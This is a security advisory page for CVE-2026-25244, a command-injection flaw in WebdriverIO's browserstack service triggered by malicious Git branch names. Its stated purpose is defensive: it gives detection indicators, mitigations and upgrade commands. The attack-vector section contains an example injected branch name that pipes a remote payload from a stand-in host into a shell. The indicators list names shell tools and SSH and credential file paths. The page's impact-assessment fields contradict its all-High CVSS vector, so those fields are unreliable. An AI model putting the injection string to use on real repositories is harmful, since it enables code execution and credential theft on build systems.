A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-25244

CVE-2026-25244: Openjsf WebdriverIO RCE Vulnerability

CVE-2026-25244 is a command injection RCE flaw in Openjsf WebdriverIO versions below 9.24.0 that enables attackers to execute arbitrary code via malicious Git branch names. This article covers technical details, affected versions, impact, and mitigation steps.

Published: May 21, 2026

CVE-2026-25244 Overview

CVE-2026-25244 is a command injection vulnerability [CWE-78] in WebdriverIO, a test automation framework used for unit, end-to-end, and component testing with WebDriver, WebDriver BiDi, and Appium. Versions below 9.24.0 of the wdio-browserstack-service package interpolate Git branch names directly into execSync() calls without sanitization. Attackers can supply a malicious repository whose branch name contains shell metacharacters, triggering arbitrary command execution during test orchestration. Exploitation enables remote code execution (RCE) on CI/CD servers and developer workstations. The maintainers fixed the issue in version 9.24.0.

Critical Impact

Attackers can achieve remote code execution on CI/CD pipelines and developer machines, enabling credential theft, source code exfiltration, SSH key disclosure, and supply chain compromise through tampered build artifacts.

Affected Products

  • WebdriverIO wdio-browserstack-service versions below 9.24.0
  • Node.js environments consuming the OpenJS Foundation webdriverio package
  • CI/CD pipelines and developer workstations running affected WebdriverIO versions

Discovery Timeline

  • 2026-05-18 - CVE-2026-25244 published to NVD
  • 2026-05-19 - Last updated in NVD database

Technical Details for CVE-2026-25244

Vulnerability Analysis

The vulnerability resides in the getGitMetadataForAISelection() helper function within packages/wdio-browserstack-service/src/testorchestration/helpers.ts. The function retrieves Git metadata, including the current branch name, and embeds the value directly into a shell command executed via execSync(). Because Git permits branch names containing shell metacharacters such as backticks, semicolons, and dollar-sign command substitution, any branch name reaching this code path is treated as executable shell input.

When a WebdriverIO test run loads a repository configured through testOrchestrationOptions.runSmartSelection.source, or falls back to the current working directory, the framework reads the branch name from that repository. A branch name crafted to inject shell syntax executes attacker-controlled commands with the privileges of the test runner.

Root Cause

The root cause is missing input sanitization on Git-derived strings before passing them to a shell-interpreted execution function. The implementation relied on Git metadata being trusted text, but Git's permissive branch-name validation allows characters that the shell interprets as command separators or substitutions. This maps directly to CWE-78, OS Command Injection.

Attack Vector

An attacker hosts or contributes a repository containing a branch with a malicious name, for example a name embedding $(curl attacker.example/payload | sh). When a developer or CI system runs WebdriverIO with smart selection enabled against that repository, getGitMetadataForAISelection() interpolates the branch name into the shell command. The shell evaluates the injected payload before completing the intended Git operation, yielding code execution in the test runner's context. No authentication or user interaction beyond running the test suite is required.

No verified public exploit code is available. Refer to the GitHub Security Advisory GHSA-5c46-x3qw-q7j7 and the vulnerable helper source for the affected code path.

Detection Methods for CVE-2026-25244

Indicators of Compromise

  • Unexpected child processes spawned by node running WebdriverIO, such as sh, curl, wget, or bash invoking outbound connections during test runs
  • Outbound network connections from CI runners to unknown hosts during the test orchestration phase
  • Git repositories containing branch names with shell metacharacters such as `, $(, ;, &&, or |
  • Access to ~/.ssh/, .npmrc, environment variable dumps, or CI secret files from test processes

Detection Strategies

  • Inventory package.json and lockfiles across repositories for webdriverio or @wdio/browserstack-service versions below 9.24.0
  • Audit Git histories for branch names containing shell metacharacters using git for-each-ref --format='%(refname)'
  • Monitor process trees on CI/CD agents for shell processes whose parent is the Node.js test runner

Monitoring Recommendations

  • Alert on egress traffic from build agents to non-allowlisted destinations during WebdriverIO test execution
  • Log and review all execSync and child_process invocations originating from test orchestration tooling
  • Track access to credential stores, cloud metadata endpoints, and SSH key paths from test runner processes

How to Mitigate CVE-2026-25244

Immediate Actions Required

  • Upgrade WebdriverIO and @wdio/browserstack-service to version 9.24.0 or later across all projects and CI pipelines
  • Rotate any secrets, API tokens, and SSH keys accessible to CI runners or developer workstations that executed vulnerable versions against untrusted repositories
  • Audit recent test runs for anomalous child processes or outbound connections and treat confirmed exploitation as a full system compromise

Patch Information

The maintainers fixed CVE-2026-25244 in WebdriverIO version 9.24.0. See the GitHub WebdriverIO Release v9.24.0 for release notes and the GitHub Security Advisory GHSA-5c46-x3qw-q7j7 for advisory details. The fix sanitizes Git-derived metadata before passing it to shell execution.

Workarounds

  • Disable testOrchestrationOptions.runSmartSelection in WebdriverIO configuration until upgrading
  • Restrict test runs to trusted repositories and avoid executing WebdriverIO against attacker-influenced branches
  • Run CI test jobs in ephemeral, network-restricted containers with least-privilege credentials to limit blast radius
bash
# Upgrade WebdriverIO to the patched version
npm install webdriverio@^9.24.0 @wdio/browserstack-service@^9.24.0 --save-dev

# Verify installed version
npm ls webdriverio

# Audit branch names for shell metacharacters
git for-each-ref --format='%(refname:short)' refs/heads/ | grep -E '[\$\`;&|()]'

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechWebdriverio

  • SeverityCRITICAL

  • CVSS Score9.8

  • EPSS Probability0.44%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • GitHub WebdriverIO Helper Code

  • GitHub WebdriverIO Release v9.24.0
  • Vendor Resources
  • GitHub Security Advisory GHSA-5c46-x3qw-q7j7
  • Latest CVEs
  • CVE-2026-9813: FlowIntel SSRF Vulnerability

  • CVE-2026-4377: D-Link DWR-X1820 Auth Bypass Vulnerability

  • CVE-2026-47074: ex_aws_sns Auth Bypass Vulnerability

  • CVE-2026-46241: Linux Kernel Use-After-Free Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English